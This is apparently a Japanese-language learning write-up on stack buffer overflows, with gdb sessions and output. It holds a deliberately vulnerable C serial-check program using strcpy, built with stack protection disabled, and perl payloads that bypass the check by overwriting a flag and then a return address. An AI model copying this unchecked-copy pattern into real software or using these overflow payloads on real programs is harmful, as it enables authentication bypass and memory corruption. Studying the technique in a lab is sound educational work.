サンプルコード
以下のサンプルコードを用いてバッファオーバーフローのテストをしてみました。
シリアルナンバー「SN123456」と一致すれば、「Serial number is correct.」と表示され、違っていた場合は「Serial number is worng.」と表示される至ってシンプルなソースコードです。
#include <stdio.h> #include <stdlib.h> #include <string.h> int check_serial(char *serial) { int flag = 0; char serial_buff[16]; strcpy(serial_buff, serial); if (strcmp(serial_buff, "SN123456") == 0) flag = 1; return flag; } int main(int argc, char *argv[]) { if(argc < 2) { printf("Enter serial number!\n", argv[0]); exit(0); } if (check_serial(argv[1])){ printf("Serial number is correct.\n"); } else { printf("Serial number is worng.\n"); } }
gccでコンパイルを実行する
-fno-stack-protector
オプションを付与して、スタックガードを無効化します。
スタックガードとはオーバーフローからプログラムを守るための技術のようです。
また、-z execstack
オプションを付与することによって、スタック領域内のデータ実行を許可します。
上記オプションを付与することでバッファオーバーフローの検証が行えるようになります。
┌──(root㉿kali)-[/home/…/sf_VMshare/hacking/c_lang/bypass] └─# gcc -fno-stack-protector -z execstack -g -o bypass bypass.c
-fno-stack-protector
オプションと-z execstack
オプションを付与した状態でコンパイルを実行する。
どこに脆弱性があるか確認する
今回のサンプルコードでバッファオーバーフローの要となるのはstrcpy
関数です。
strcpy(serial_buff, serial);
により16バイト分の文字列が確保されていますが、16バイトを超えた場合の検証がプログラム内で行われていません。
そのため、引数にシリアルナンバーを何文字でも指定することが出来てしまいます。
デバッガでメモリの中身を確認する
デバッガを起動してシリアルにAAAAAAAAAA
とAを10回入力した状態で実行しました。
そのあと32ワード(128バイト)分の番地を表示させています。
┌──(root㉿kali)-[/path/to/] └─# gdb bypass (gdb) break bypass.c:8 Breakpoint 1 at 0x118c: file bypass.c, line 8. (gdb) run AAAAAAAAAA Starting program: /path/to/bypass AAAAAAAAAA Breakpoint 1, check_serial (serial=0x7fffffffe507 "AAAAAAAAAA") at bypass.c:8 8 strcpy(serial_buff, serial); (gdb) next 9 if (strcmp(serial_buff, "SN123456") == 0) flag = 1; (gdb) x/x serial_buff 0x7fffffffe160: 0x41414141 (gdb) x/x &flag 0x7fffffffe17c: 0x00000000 (gdb) print 0x7fffffffe17c-0x7fffffffe160 $1 = 28 #アドレスの差分を計算する (gdb) x/32xw $rsp 0x7fffffffe150: 0x00000000 0x000000ff 0xffffe58c 0x00007fff 0x7fffffffe160: 0x41414141 0x41414141 0x00737300 0x41414141 0x7fffffffe170: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffe180: 0xffffe1a0 0x00007fff 0x55555215 0x00005555 0x7fffffffe190: 0xffffe2b8 0x00007fff 0x00000000 0x00000002 0x7fffffffe1a0: 0x00000002 0x00000000 0xf7dec6ca 0x00007fff 0x7fffffffe1b0: 0x00000000 0x00000000 0x555551c5 0x00005555 0x7fffffffe1c0: 0x00000000 0x00000002 0xffffe2b8 0x00007fff
変数の上書きによるバッファオーバーフロー
スタックの破壊によって変数を上書きする
serialが28バイトを超えた時点からflagの値が上書きされて、 不正なシリアルなのにも関わらず、Serial number is correct.と表示されています。
これは先程デバッガで、アドレスの差分を求めた際の値に一致します。
flag変数のアドレスからserial_buff変数の先頭アドレスの差分を計算した結果が28バイトとなっています。
実行結果の確認
┌──(root㉿kali)-[/path/to/bypass] └─# ./bypass $(perl -e 'print "A"x28') Serial number is worng.
Aを28回入力:Serial number is worng.
と表示される。
┌──(root㉿kali)-[/path/to/bypass] └─# ./bypass $(perl -e 'print "A"x29') Serial number is correct.
Aを29回入力:Serial number is correct.
と表示される。
┌──(root㉿kali)-[/path/to/bypass] └─# ./bypass $(perl -e 'print "A"x30') Serial number is correct.
Aを30回入力:Serial number is correct.
と表示される。
┌──(root㉿kali)-[/path/to/bypass] └─# ./bypass $(perl -e 'print "A"x31') Serial number is correct.
Aを31回入力:Serial number is correct.
と表示される。
┌──(root㉿kali)-[/path/to/bypass] └─# ./bypass $(perl -e 'print "A"x32') Serial number is correct. zsh: segmentation fault ./bypass $(perl -e 'print "A"x32')
Aを32回入力:zsh: segmentation fault
と表示される。
※入力する文字数が多すぎると余計なところまで上書きしてしまい、
zsh: segmentation fault
と表示されます。
戻り番地変更によるバッファオーバーフロー
先程はflag変数を上書きすることでシリアル番号の認証をバイパスしましたが、 次に戻り番地を変更する事によるバッファオーバーフローを試してみます。 flag変数の上書きではなく、戻り番地を書き換える事によって、if分そのものをスルーします。
サンプルコードを一部抜粋
今回は変数の上書きではなく、if分の条件判定をしないでprint()関数へ渡すようにテストしてみます。
if (check_serial(argv[1])){ //ここの条件判定をスルーさせる printf("Serial number is correct.\n"); }
disassコマンドでmain関数を逆アセンブルする
┌──(root㉿kali)-[/path/to/bypass] └─# gdb bypass (gdb) break bypass.c:8 Breakpoint 1 at 0x118c: file bypass.c, line 8. (gdb) run AAAA Starting program:/path/to/bypass AAAA [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Breakpoint 1, check_serial (serial=0x7fffffffe590 "AAAA") at bypass.c:8 8 strcpy(serial_buff, serial); (gdb) next 9 if (strcmp(serial_buff, "SN123456") == 0) flag = 1; #disass でmain関数を逆アセンブル (gdb) disass main Dump of assembler code for function main: 0x00005555555551c5 <+0>: push %rbp 0x00005555555551c6 <+1>: mov %rsp,%rbp 0x00005555555551c9 <+4>: sub $0x10,%rsp 0x00005555555551cd <+8>: mov %edi,-0x4(%rbp) 0x00005555555551d0 <+11>: mov %rsi,-0x10(%rbp) 0x00005555555551d4 <+15>: cmpl $0x1,-0x4(%rbp) 0x00005555555551d8 <+19>: jg 0x555555555202 <main+61> 0x00005555555551da <+21>: mov -0x10(%rbp),%rax 0x00005555555551de <+25>: mov (%rax),%rax 0x00005555555551e1 <+28>: mov %rax,%rsi 0x00005555555551e4 <+31>: lea 0xe22(%rip),%rax # 0x55555555600d 0x00005555555551eb <+38>: mov %rax,%rdi 0x00005555555551ee <+41>: mov $0x0,%eax 0x00005555555551f3 <+46>: call 0x555555555050 <printf@plt> 0x00005555555551f8 <+51>: mov $0x0,%edi 0x00005555555551fd <+56>: call 0x555555555070 <exit@plt> 0x0000555555555202 <+61>: mov -0x10(%rbp),%rax 0x0000555555555206 <+65>: add $0x8,%rax 0x000055555555520a <+69>: mov (%rax),%rax 0x000055555555520d <+72>: mov %rax,%rdi 0x0000555555555210 <+75>: call 0x555555555179 <check_serial> 0x0000555555555215 <+80>: test %eax,%eax 0x0000555555555217 <+82>: je 0x55555555522a <main+101> 0x0000555555555219 <+84>: lea 0xe03(%rip),%rax # 0x555555556023 0x0000555555555220 <+91>: mov %rax,%rdi 0x0000555555555223 <+94>: call 0x555555555040 <puts@plt> 0x0000555555555228 <+99>: jmp 0x555555555239 <main+116> 0x000055555555522a <+101>: lea 0xe0c(%rip),%rax # 0x55555555603d 0x0000555555555231 <+108>: mov %rax,%rdi 0x0000555555555234 <+111>: call 0x555555555040 <puts@plt> 0x0000555555555239 <+116>: mov $0x0,%eax 0x000055555555523e <+121>: leave 0x000055555555523f <+122>: ret End of assembler dump.
逆アセンブルしたソースコードのポイント
0x0000555555555215 <+80>: test %eax,%eax 0x0000555555555217 <+82>: je 0x55555555522a <main+101> 0x0000555555555219 <+84>: lea 0xe03(%rip),%rax # 0x555555556023
test は条件式を表し、C言語だとif (check_serial(argv[1]))
の部分に相当します。
jeはflanの値が0の時最初の行へ移動させます。
次のlea以降でSerial number is correct.
と表示させています。
戻り番地を指定する
0x0000555555555219
という文字列をバイト列で表すと、\x19\x52\x55\x55\x55\x55\x00\x00
となります。戻り番地をここに指定することで条件式をバイパスする事が可能になります。
戻り番地を指定した状態で実行
戻り番地を0x0000555555555219
に指定して、bypassを実行します。
┌──(root㉿kali)-[/path/to/bypass/bypass] └─# ./bypass $(perl -e 'print "A"x32 . "\x19\x52\x55\x55\x55\x55\x00\x00"')
実行結果の確認
Serial number is correct.と表示されました。 無事バイパスに成功したことが分かります。
┌──(root㉿kali)-[/path/to/bypass/bypass] └─# ./bypass $(perl -e 'print "A"x32 . "\x19\x52\x55\x55\x55\x55\x00\x00"') Serial number is correct. zsh: segmentation fault ./bypass $(perl -e 'print "A"x32 . "\x19\x52\x55\x55\x55\x55\x00\x00"')
まとめ
バッファオーバーフローは知識としては以前から知っていましたが、実際にやった事はなかったので非常に勉強になっています。 引き続きバッファオーバーフローについて深掘りしていけたらと思います。
参考
コンピュータハイジャッキング | 和哉, 酒井 |本 | 通販 | Amazon
バッファオーバーフローの内部的な仕組みが詳しく書かれています。
自分はこの本を切っ掛けにC言語やアセンブリ言語にも興味が湧いてきました。